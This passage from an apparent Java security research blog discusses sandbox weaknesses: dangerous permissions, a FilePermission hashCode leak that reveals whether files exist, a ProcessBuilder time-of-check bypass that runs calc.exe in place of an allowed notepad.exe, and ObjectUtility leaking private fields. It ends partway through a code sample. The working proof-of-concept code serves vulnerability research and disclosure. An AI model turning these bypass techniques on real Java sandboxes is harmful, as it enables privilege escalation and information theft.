attacker could easily elevate his privileges. I'm currently working on a twist of this type of an attack which should lead to a privilege escalation.<br /><br /><span style="font-size:130%;">Key Permissions</span><br /><br />Every class has a set of permissions associated with it. The permissions depend on where the code comes from (CodeSource) and what the java.security defines as the permissions for that source. There are several permissions that, if an attacker can obtain them for his code, will (probably) lead to privilege escalation:<br /><br /><span style="font-weight: bold;">AllPermission</span>: The permission to do anything.<br /><span style="font-weight: bold;"><br />setSecurityManager</span>: The permission to define a new security manager, set the security manager to null and all code has full permissions.<br /><br /><span style="font-weight: bold;">charsetProvider</span>: Allows for creating mutable strings.<br /><br /><span style="font-weight: bold;">accessDeclaredMembers</span> & <span style="font-weight: bold;">suppressAccessChecks</span>: With the combination of these two permissions, you can obtain any field or method, make it accessible and access it (call method, read/write field value). The most straightforward way to leverage this would be to set a null security manager.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com0tag:blogger.com,1999:blog-7283793710804138254.post-34632127117430739892010-01-24T19:28:00.000-08:002010-01-24T19:31:08.392-08:002009 In ReviewA little late, but nevertheless, a summary of what happened in security relating to me in 2009:<br /><br /><span style="font-size:130%;">CVE-2008-5353</span><br /><br />In other words, the Calendar Deserialization issue. It was fixed by Sun Microsystems in 2008, but it still got a lot of attention in 2009:<br /><br />In March, <a href="http://blog.cr0.org/">Julien Tinnes</a> used his exploit of it in the CanSecWest Pwn2own competition, only to be disqualified, because we both had tipped Sun and Apple about the issue.<br /><br />In May, Julien wrote an <a href="http://blog.cr0.org/2009/05/write-once-own-everyone.html">excellent bit on the vulnerability on his blog</a> and also about the fact that Apple still hasn't fixed it. <a href="http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html">Landon Fuller also posted a proof-of-concept implementation of the exploit</a> in an attempt to get Apple's attention to it. All this created quite the buzz, and a lot of articles were written on the topic. My personal favorite was <a href="http://www.betanews.com/article/Apple-Java-and-the-Ravenous-Bugblatter-Beast-of-Traal/1242848325">this funny arcticle by Angela Gunn on betanews.com</a>.<br /><br />In mid-June, Apple released a security update for it's Java that fixed the issue in OSX.<br /><br />In July, it <a href="http://slightlyrandombrokenthoughts.blogspot.com/2009/07/pwnie-nomination-pwnie-for-best-client.html">was nominated</a> for <a href="http://pwnie-awards.org/2009/nominees.html#bestclientbug">The Best Client-Side Bug Pwnie</a> (didn't unfortunately win, though).<br /><br />Still at the end of the year, it<a href="http://isc.sans.org/diary.html?storyid=7879"> gained attention because of various exploit kits</a> using it as a vector to infect people who hadn't updated their Java.<br /><br /><br /><span style="font-size:130%;">JDKServices13</span><br /><br /><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2670">CVE-2009-2670</a> was fixed by Sun Microsystems in August, as a part of <a href="http://java.sun.com/javase/6/webnotes/6u15.html">Java SE 6 Update 15</a>. It's a cute little vulnerability which allows read access to Java System properties and one of the first one's ever found by me.<br /><br /><span style="font-size:130%;">Zero Day Initiative</span><br /><br />I started collaborating with ZDI in 2009 and it's been extremely satisfactory so far. Some of the fruits of this cooperation can be observed in the <a href="http://www.zerodayinitiative.com/advisories/upcoming/">upcoming advisories section of their site</a>:<br />ZDI-CAN-552, ZDI-CAN-603, ZDI-CAN-588, ZDI-CAN-623, ZDI-CAN-628, ZDI-CAN-667<br /><br /><span style="font-size:130%;">iDefense</span><br /><br />I was going to look into working with VeriSign's iDefense program as well, but the link for the zip with additional information on their <a href="https://labs.idefense.com/vcpportal/newUser.html">new user page</a> has been pointing to a 404 since at least september. I tried emailing them in mid-september, but finally gave up.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com3tag:blogger.com,1999:blog-7283793710804138254.post-63524974005908966712010-01-23T20:10:00.000-08:002010-01-23T21:25:41.609-08:00Java "final" and securityTo kickstart the new year and in an attempt to get more writing done I think I'll try writing some shorter bits. This one's about the Java "final" keyword - it's different nuances and how they relate to security.<br /><br />Final has meanings that are so distinct that I sometimes wonder if it wouldn't have been clearer to use several different keywords. Here are the meanings of the keyword final:<br /><br /><span style="font-weight: bold;">Final classes</span><br /><br />Classes with the modifier final cannot be subclassed. If the instances of the class have a state, that state can change, static fields, etc, everything may be mutable. The final here only prohibits subclassing.<br /><br /><span style="font-weight: bold;">Final methods</span><br /><br />Methods with the modifier final cannot be overwritten/overridden by subclasses. The methods can be used by subclasses, their output may differ from call to call, they just cannot be redefined in the subclasses. The method may be overloaded, because overloaded methods (methods with the same name, but different signature) are completely different methods in the eyes of the compiler and the runtime.<br /><br /><span style="font-weight: bold;">Final fields</span><br /><br />The value for fields with the modifier final can only be set once.<br /><br />In the case of primitive type fields, this means that if the value was set to (int) 91, then the value will remain 91. The compiler may take advantage of this knowledge and inline the value where it is being referred.<br /><br />In the case of objects, if the field is set to reference an object, it will always reference that same object. If the object is mutable, the perceived and logical value of the object may change, only it's identity is guaranteed not to change.<br /><br /><span style="font-weight: bold;">Final method variables</span><br /><br />Since method variables aren't accessible outside the method, the final keyword here is only for use of the compiler.<br /><br /><br /><span style="font-weight: bold;font-size:130%;" >Security and final</span><br /><br />Here's how these nuances of the final keyword relate to security:<br /><br /><span style="font-weight: bold;">Classes</span><br /><br />Final classes are very restrictive; since you can't subclass them you can't make them Serializable and you can't override their functionality. As far as I can tell, there is no way around it either, the rule is absolute: if it's final, you can't override it.<br /><br /><span style="font-weight: bold;">Methods</span><br /><br />Final methods, like the classes are very restrictive. At the most, you may be able to override another method that the final method calls and use that to alter the method's functioning.<br /><br /><span style="font-weight: bold;">Fields</span><br /><br />Final fields are not such an obvious case; while you cannot redefine their value there are some interesting details about them.<br /><br />Their value isn't always the same. If you can obtain access to an object before it's initializer has defined the value of the final field, the field will have it's uninitialized value which will be 0, false or null for numeric types, boolean types and object types respectively. Then once the initializer sets the value it will change to the defined value. That's a very minor detail, but security is all about knowing all the right minor details.<br /><br />As stated, the field will always reference the same object, but the real value of that object is free to change. If the object contains fields, etc that can be accessed and whose value can be altered then the value of the object itself can be changed.<br /><br />Arrays are a special type of mutable objects -- the array elements of a final array field can change. The array object itself will stay the same, and it's size or number of dimensions cannot change, but the element values are very much mutable.<br /><br />A multidimensional array object is actually an array of objects with one less dimensions. Thus in the case of a final multidimensional array object, only the outermost array is really final; the inner arrays may change identity and size.<br /><br /><span style="font-weight: bold;">sun.misc.Unsafe</span><br /><br />The reflection API is bound by the final keyword and if you try changing the value of a final field via reflection, you will run into an IllegalAccessException.<br /><br />There is, however, one omnipotent class in the sun.misc package, called Unsafe, which directly write into memory, put int values into object fields and it is also able to rewrite values into final fields. You use the fieldOffset methods to determine the offset of a given field, and then you use one of the putXXX methods to set the value. Unsafe can also access private fields.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com2tag:blogger.com,1999:blog-7283793710804138254.post-73690007285571617962009-12-19T13:07:00.000-08:002009-12-19T14:30:49.848-08:00FilePermission class leaks sensitive information<style type="text/css">.nb { color: rgb(128, 128, 128); }.bl { color: rgb(0, 0, 0); }.kw { color: rgb(127, 0, 85); font-weight: bold; }.st { color: #2a00ff; }.cm { color: #3f7f5f; }</style>Somebody might consider it ironic that the security class which is responsible mapping access permission to files (java.io.FilePermission) is actually leaking information about the filesystem.<br /><br />FilePermission uses a doPrivileged block to obtain a canonical path to the file/folder given as a parameter to the constructor. The canonical path is then stored in a private and transient field (called cpath) which has no accessor method.<br /><br />The canonical path is security-sensitive, because if you give it the input of "." it will become the full (canonical) path to the current execution directory.<br /><br />Also, in windows, if I give it a path, such as "c:\windows" it becomes "C:\WINDOWS" on my machine, as both the drive letter and windows folder are uppercase. If I give it a path that does not exist, such as "C:\whatever" it does not get altered. Thus I can test the existence of files and folders.<br /><br />The cpath is not directly accessible, but the FilePermission class has a hashCode method, and the implementation is:<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">384</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">int</SPAN><SPAN STYLE="bl"> hashCode() {</SPAN><br /><SPAN CLASS="nb">385</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">this</SPAN><SPAN STYLE="bl">.cpath.hashCode();</SPAN><br /><SPAN CLASS="nb">386</SPAN> <SPAN STYLE="bl"> }</SPAN><br /></code></div><br /><br />So the hashcode of the String of the canonical path is available. I looked into the possibility of reversing the string hash, but it's not really practical. The simple algorith (<a href="http://blogs.sun.com/darcy/entry/string_unhashing">which is explained here</a>) is easy to reverse, but as it's extremely lossy, the number of strings that have any given hash is very big.<br /><br />File or folder existence on Windows can be easily tested by giving a toLowerCase and toUpperCase versions of any path to FilePermission and then comparing the hashcodes. If the hashcodes are equal, the file/folder exists, if they're unequal, it doesn't exist.<br /><br />For example, on my machine, the following:<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.io.FilePermission;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN STYLE="bl"> FP {</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> main(String[] args) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN STYLE="bl"> Exception {</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN STYLE="bl">System.out.println(fileExists(</SPAN><SPAN CLASS="st">"C:/windows"</SPAN><SPAN STYLE="bl">));</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN STYLE="bl">System.out.println(fileExists(</SPAN><SPAN CLASS="st">"C:/filedoesnotexist"</SPAN><SPAN STYLE="bl">));</SPAN><br /><SPAN CLASS="nb">007</SPAN> <SPAN STYLE="bl">}</SPAN><br /><SPAN CLASS="nb">008</SPAN> <br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">boolean</SPAN><SPAN STYLE="bl"> fileExists(String name) {</SPAN><br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> FilePermission(name.toLowerCase(), </SPAN><SPAN CLASS="st">"read"</SPAN><SPAN STYLE="bl">).hashCode() == </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> FilePermission(name.toUpperCase(), </SPAN><SPAN CLASS="st">"read"</SPAN><SPAN STYLE="bl">).hashCode();</SPAN><br /><SPAN CLASS="nb">011</SPAN> <SPAN STYLE="bl">}</SPAN><br /><SPAN CLASS="nb">012</SPAN> <SPAN STYLE="bl">}</SPAN><br /></code></div><br /><br />Yields the output:<br />true<br />false<br /><br />In similar fashion, you could compare the hashes of FilePermissions for ".", "..", "../..", "../../.." until the hashcode stops changing, which means you've hit the root (Drive-Letter:\ on windows or / on linux/unix/etc). The depth of the execution folder can thus be determined and it is possible to try to guess each of the folders of the path individually.<br /><br />It's not a very serious problem at all, but it's one I found to be amusing both for the simplicity of it and the fact that it's in the very class that is used to map access to files.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com0tag:blogger.com,1999:blog-7283793710804138254.post-15686314748090522392009-12-12T21:33:00.000-08:002009-12-15T16:33:53.900-08:00Defensive Copying - How not to do it<style type="text/css">.nb { color: rgb(128, 128, 128); }.bl { color: rgb(0, 0, 0); }.kw { color: rgb(127, 0, 85); font-weight: bold; }.st { color: #2a00ff; }.cm { color: #3f7f5f; }</style><span style="font-weight:bold;">Defensive Copying</span><br /><br /><a href="http://java.sun.com/security/seccodeguide.html#2-1">Sun Secure Coding Guidelines talks about defensive copying of input and output</a>, to protect against modifications that occur after validation.<br /><br />Let's look at one Sun implementation (from the java.lang package, no less) as an example of how not to do it.<br /><br /><span style="font-weight:bold;">ProcessBuilder</span><br /><br />java.lang.ProcessBuilder, as the javadoc puts it, "is used to create operating system processes". You give it a process name, parameters, environment variables and call the <span style="font-style:italic;">start</span> method to execute the process.<br /><br />The <span style="font-style:italic;">start</span> method is defined as follows:<br />(EDIT: Fixed syntax highlighter glitch from line 449)<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">435</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> Process start() </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN STYLE="bl"> IOException {<br /><SPAN CLASS="nb">436</SPAN> </SPAN><SPAN CLASS="cm">// Must convert to array first -- a malicious user-supplied</SPAN><br /><SPAN CLASS="nb">437</SPAN> <SPAN CLASS="cm">// list might try to circumvent the security check.</SPAN><br /><SPAN CLASS="nb">438</SPAN> <SPAN STYLE="bl">String[] cmdarray = command.toArray(</SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> String[command.size()]);<br /><SPAN CLASS="nb">439</SPAN> </SPAN><SPAN CLASS="kw">for</SPAN><SPAN STYLE="bl"> (String arg : cmdarray)<br /><SPAN CLASS="nb">440</SPAN> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl"> (arg == null)<br /><SPAN CLASS="nb">441</SPAN> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> NullPointerException();<br /><SPAN CLASS="nb">442</SPAN> </SPAN><SPAN CLASS="cm">// Throws IndexOutOfBoundsException if command is empty</SPAN><br /><SPAN CLASS="nb">443</SPAN> <SPAN STYLE="bl">String prog = cmdarray[0];<br /><SPAN CLASS="nb">444</SPAN> <br /><SPAN CLASS="nb">445</SPAN> SecurityManager security = System.getSecurityManager();<br /><SPAN CLASS="nb">446</SPAN> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN STYLE="bl"> (security != null)<br /><SPAN CLASS="nb">447</SPAN> security.checkExec(prog);<br /><SPAN CLASS="nb">448</SPAN> <br /><SPAN CLASS="nb">449</SPAN> String dir = directory == </SPAN><SPAN CLASS="kw">null</SPAN><SPAN STYLE="bl"> ? </SPAN><SPAN CLASS="kw">null</SPAN><SPAN STYLE="bl"> : directory.toString();</SPAN><br /><SPAN CLASS="nb">450</SPAN> <br /><SPAN CLASS="nb">451</SPAN> <SPAN CLASS="kw">try</SPAN><SPAN STYLE="bl"> {<br /><SPAN CLASS="nb">452</SPAN> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> ProcessImpl.start(cmdarray,<br /><SPAN CLASS="nb">453</SPAN> environment,<br /><SPAN CLASS="nb">454</SPAN> dir,<br /><SPAN CLASS="nb">455</SPAN> redirectErrorStream);<br /><SPAN CLASS="nb">456</SPAN> } </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN STYLE="bl"> (IOException e) {<br /><SPAN CLASS="nb">457</SPAN> </SPAN><SPAN CLASS="cm">// It's much easier for us to create a high-quality error</SPAN><br /><SPAN CLASS="nb">458</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="cm">// message than the low-level C code which found the problem.</SPAN><br /><SPAN CLASS="nb">459</SPAN> <SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> IOException(<br /><SPAN CLASS="nb">460</SPAN> </SPAN><SPAN CLASS="st">"Cannot run program \""</SPAN><SPAN STYLE="bl"> + prog + </SPAN><SPAN CLASS="st">"\""<br /><SPAN CLASS="nb">461</SPAN> </SPAN><SPAN STYLE="bl">+ (dir == null <br /><SPAN CLASS="nb">462</SPAN> + </SPAN><SPAN CLASS="st">": "</SPAN><SPAN STYLE="bl"> + e.getMessage(),<br /><SPAN CLASS="nb">463</SPAN> e);<br /><SPAN CLASS="nb">464</SPAN> }<br /><SPAN CLASS="nb">465</SPAN> }</code></div><br /><br />The interesting bit is this:<br /><br /><SPAN CLASS="nb">436</SPAN> </SPAN><SPAN CLASS="cm">// Must convert to array first -- a malicious user-supplied</SPAN><br /><SPAN CLASS="nb">437</SPAN> <SPAN CLASS="cm">// list might try to circumvent the security check.</SPAN><br /><SPAN CLASS="nb">438</SPAN> <SPAN STYLE="bl">String[] cmdarray = command.toArray(</SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> String[command.size()]);</SPAN><br /><br />At first glance it might seem like the work of a security conscious programmer.<br /><br />But quoting fictional Bob, from <a href="http://slightlyrandombrokenthoughts.blogspot.com/2009/07/java-se-security-part-ii-immutability.html">my previous post on immutability</a>:<br /><br /><b>Bob</b>: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.<br /><br />And that's exactly the case here, too. One doesn't even need to get into a tricky situation where a secondary thread keeps modifying the contents of the array; you can simply take advantage of the fact that between the validation on the array and the actual use of the array there's a call to another user supplied object, a File object in the <span style="font-style:italic;">directory</span> field.<br /><br />So you could initially pass a "safe.exe" as the program, pass the validation of ProcessBuilder.start, and when the code calls File.toString on the File object that's under your control, you set the first index of the String array as "evil.exe".<br /><br /><span style="font-weight:bold;">Example</span><br /><br />Let's create a fictional situation, where the security policy allows the execution of C:/windows/system32/notepad.exe and disallows the execution of any other executable. We achieve this by creating a policy file as follows (name it notepad.policy for example):<br /><br /><div style="overflow: scroll;"><code>grant {<br /> permission java.io.FilePermission "C:/windows/system32/notepad.exe", "execute";<br />};</code></div><br /><br />To enable a security manager for a standalone Java application and to use this policy we just created, always execute java with the following JVM options:<br />-Djava.security.manager -Djava.security.policy=notepad.policy<br /><br />In order to test it, try executing calc.exe:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN STYLE="bl"> PBCalc {<br /><SPAN CLASS="nb">004</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> main(String[] args) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN STYLE="bl"> Exception {<br /><SPAN CLASS="nb">005</SPAN> ProcessBuilder pb = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> ProcessBuilder(</SPAN><SPAN CLASS="st">"C:/windows/system32/calc.exe"</SPAN><SPAN STYLE="bl">);<br /><SPAN CLASS="nb">006</SPAN> pb.start();<br /><SPAN CLASS="nb">007</SPAN> }<br /><SPAN CLASS="nb">008</SPAN> }<br /></SPAN></code></div><br /><br />If the security manager and our policy have been successfully configured that should result in:<br /><br /><div style="overflow: scroll;"><code>Exception in thread "main" java.security.AccessControlException: access denied (java.io.FilePermission C:/windows/system32/calc.exe execute)<br /> at java.security.AccessControlContext.checkPermission(AccessControlContext.java:323)<br /> at java.security.AccessController.checkPermission(AccessController.java:546)<br /> at java.lang.SecurityManager.checkPermission(SecurityManager.java:532)<br /> at java.lang.SecurityManager.checkExec(SecurityManager.java:779)<br /> at java.lang.ProcessBuilder.start(ProcessBuilder.java:447)<br /> at PBCalc.main(PBCalc.java:6)</code></div><br /><br />Executing notepad.exe should work ok:<br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN STYLE="bl"> PBNotepad {<br /><SPAN CLASS="nb">004</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> main(String[] args) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN STYLE="bl"> Exception {<br /><SPAN CLASS="nb">005</SPAN> ProcessBuilder pb = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> ProcessBuilder(</SPAN><SPAN CLASS="st">"C:/windows/system32/notepad.exe"</SPAN><SPAN STYLE="bl">);<br /><SPAN CLASS="nb">006</SPAN> pb.start();<br /><SPAN CLASS="nb">007</SPAN> }<br /><SPAN CLASS="nb">008</SPAN> }<br /></SPAN></code></div><br /><br />And finally, an example of the exploitation of the naive defensive copying. We create a List object whose toArray method returns a reference to a String array while keeping a handle to said String array. Initially the String array has notepad.exe as the executed process, but once we pass the validation and ProcessBuilder calls toString of our (anonymous subclass of) File object toString method, we switch the executable as calc.exe.<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.io.File;<br /><SPAN CLASS="nb">002</SPAN> </SPAN><SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.util.ArrayList;<br /><SPAN CLASS="nb">003</SPAN> </SPAN><SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.util.List;<br /><SPAN CLASS="nb">004</SPAN> <br /><SPAN CLASS="nb">005</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN STYLE="bl"> PBMutable {<br /><SPAN CLASS="nb">006</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> main(String[] args) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN STYLE="bl"> Exception {<br /><SPAN CLASS="nb">007</SPAN> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN STYLE="bl"> String[] str = {</SPAN><SPAN CLASS="st">"C:/windows/system32/notepad.exe"</SPAN><SPAN STYLE="bl">};<br /><SPAN CLASS="nb">008</SPAN> List list = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> ArrayList() {<br /><SPAN CLASS="nb">009</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> Object[] toArray(Object[] a) {<br /><SPAN CLASS="nb">010</SPAN> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> str;<br /><SPAN CLASS="nb">011</SPAN> }<br /><SPAN CLASS="nb">012</SPAN> };<br /><SPAN CLASS="nb">013</SPAN> <br /><SPAN CLASS="nb">014</SPAN> ProcessBuilder pb = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> ProcessBuilder(list);<br /><SPAN CLASS="nb">015</SPAN> pb.directory(</SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> File(</SPAN><SPAN CLASS="st">"."</SPAN><SPAN STYLE="bl">) {<br /><SPAN CLASS="nb">016</SPAN> </SPAN><SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> String toString() {<br /><SPAN CLASS="nb">017</SPAN> str[0] = </SPAN><SPAN CLASS="st">"calc.exe"</SPAN><SPAN STYLE="bl">;<br /><SPAN CLASS="nb">018</SPAN> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">super</SPAN><SPAN STYLE="bl">.toString();</SPAN><br /><SPAN CLASS="nb">019</SPAN> }<br /><SPAN CLASS="nb">020</SPAN> });<br /><SPAN CLASS="nb">021</SPAN> <br /><SPAN CLASS="nb">022</SPAN> pb.start();<br /><SPAN CLASS="nb">023</SPAN> }<br /><SPAN CLASS="nb">024</SPAN> }</code></div><br /><br /><span style="font-weight:bold;">Finally</span><br /><br />This isn't really usable in the applet sandbox world, as unsigned applets by default don't have any execution rights, but you should be aware that because of the naive defensive copying, granting any file execute permission you'll be granting the permission to execute anything at all.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com0tag:blogger.com,1999:blog-7283793710804138254.post-69043553436376513792009-11-03T13:56:00.000-08:002009-11-03T15:21:59.317-08:00Protection Against Finalizer attack<style type="text/css">.nb { color: rgb(128, 128, 128); }.bl { color: rgb(0, 0, 0); }.kw { color: rgb(127, 0, 85); font-weight: bold; }.st { color: #2a00ff; }.cm { color: #3f7f5f; }</style>Java 6 update 17 is out.<br /><br />Looks like Sun 1up'd the ClassLoader class's protection against the Finalizer Attack.<br /><br />For more information on the finalizer attack: <a href="http://java.sun.com/security/seccodeguide.html#4-2">Sun Secure Coding Guidelines v2.0 Chapter 4-2</a><br /><br />The old ClassLoader implementation used the tactic described in the secure coding guidelines. It allows the attacker to create an instance of the class, which is not fully initialized. However a boolean flag field renders the object unusable, as all significant operations check the flag.<br /><br />Apparently that's not good enough anymore.<br /><br />The new version of the ClassLoader has a protect constructor (actually 2, but let's look at the one that corresponds to the one in the secure coding guidelines):<br /><br /><span class="nb">225</span> <span class="kw">protected</span> ClassLoader() {<br /><span class="nb">226</span> <span class="kw">this</span>(checkCreateClassLoader(), getSystemClassLoader());<br /><span class="nb">227</span> }<br /><br />Which calls the static method checkCreateClassLoader:<br /><br /><span class="nb">175</span> <span class="kw">private</span> <span class="kw">static</span> Void checkCreateClassLoader() {<br /><span class="nb">176</span> SecurityManager security = System.getSecurityManager();<br /><span class="nb">177</span> <span class="kw">if</span>(security != null) {<br /><span class="nb">178</span> security.checkCreateClassLoader();<br /><span class="nb">179</span> }<br /><span class="nb">180</span> <span class="kw">return</span> null;<br /><span class="nb">181</span> }<br /><br />So if the SecurityManager doesn't allow a SecurityException gets thrown even before the superclass (Object) constructor is called, and thus there will be no object reference to "steal" in the finalizer.<br /><br />Interesting. Wonder if they'll update the Secure Coding Guidelines as well.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com2tag:blogger.com,1999:blog-7283793710804138254.post-83226502308963772182009-10-13T23:07:00.000-07:002009-10-14T10:14:08.896-07:00com.sun.corba.se.impl.orbutil.ObjectUtilityBack to security.<br /><br />Sun's strategy of prioritizing backwards compatibility is something I always appreciated as a developer. Less headaches. Yet, from a security perspective the ensuing "bloatedness" is rather challenging: The attack surface keeps on growing all the time.<br /><br />So it's not all that surprising to find an applet security problem in an obscure CORBA class buried in the dark depths of the standard libraries.<br /><br />On the other hand, it's the problems you find in the public <a href="http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html">java.util</a>, java.io, etc classes that make you really appreciate how very difficult it is to build something secure.<br /><br />But let's look at one of the aforementioned, obscure CORBA classes today :)<br /><br /><span style="font-weight: bold;">com.sun.corba.se.impl.orbutil.ObjectUtility</span><br /><br />It has a problem I found rather interesting, but as far as I could tell, at least in the applet world, it is not exploitable in any serious way. Of course it could be just my lack of ingenuity.<br /><br />ObjectUtility has two basic functionalities:<br />-Offer <span style="font-style:italic;">toString </span>functionality to classes that don't implement toString. It recursively lists all the instance field names and their values using reflection and formats the output neatly. I actually use it sometimes as a quick-and-dirty debug to vomiting out object contents. When there is no security manager present it lists all the fields, but with a security manager present it sticks to the public fields (less useful).<br /><br />-Offer <span style="font-style:italic;"><a href="http://www.artima.com/lejava/articles/equality.html">equals </a></span>functionality to classes that don't implement an equals method. It recursively compares all the instance fields of two objects following somewhat complicated rules.<br /><br />Let's look at the <span style="font-style:italic;">equals </span>functionality a little bit closer. The logic goes something like this: You give it two objects and it returns true or false depending on perceived equality, with the following details.<br />-in the case of object fields, recursion is used to compare the two values<br />-static fields are ignored<br />-Maps, Sets, Lists and arrays have special handling, where the Collection/array contents are compared individually<br />-objects x and y of the exact same class (ie. x.getClass() == y.getClass() ) are compared by comparing all the non-static fields individually<br />-doPrivileged is used to allow access to private fields even with a security manager enabled<br />-objects x and y of different classes (for example, Object instance and a String instance) are compared by calling equals of the first object, ie. x.equals(y)<br /><br />Pause for a moment. Absorb the logic. Do you see a problem?<br /><br />...<br /><br />This implementation leaks private information. If you compare a malicious object to a sensitive object, in specific cases you can extract references to objects stored in private fields of said sensitive object.<br /><br />Here's a semi-concrete example. Let's preface it a bit: If you've ever written a Java applet, you'll have noticed that when you use System.out to print some debug information, the output goes to the Java console. How does this happen? The type of System.out is PrintStream. The applet environment sets the System.out as a PrintStream instance which contains contains a Java plugin class TracePrintStream instance, which takes everything written to it and forwards it to be printed in the console.<br /><br />PrintStream has no method for accessing the inherited (from superclass FilterOutputStream) "out" field, but we can create a new PrintStream and put our own OutputStream inside it. Then compare our PrintStream to System.out. Like this:<br /><br /><style type="text/css">.nb { color: rgb(128, 128, 128); }.bl { color: rgb(0, 0, 0); }.kw { color: rgb(127, 0, 85); font-weight: bold; }.st { color: #2a00ff; }.cm { color: #3f7f5f; }</style><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.applet.Applet;<br /><SPAN CLASS="nb">004</SPAN> </SPAN><SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.io.IOException;<br /><SPAN CLASS="nb">005</SPAN> </SPAN><SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.io.OutputStream;<br /><SPAN CLASS="nb">006</SPAN> </SPAN><SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> 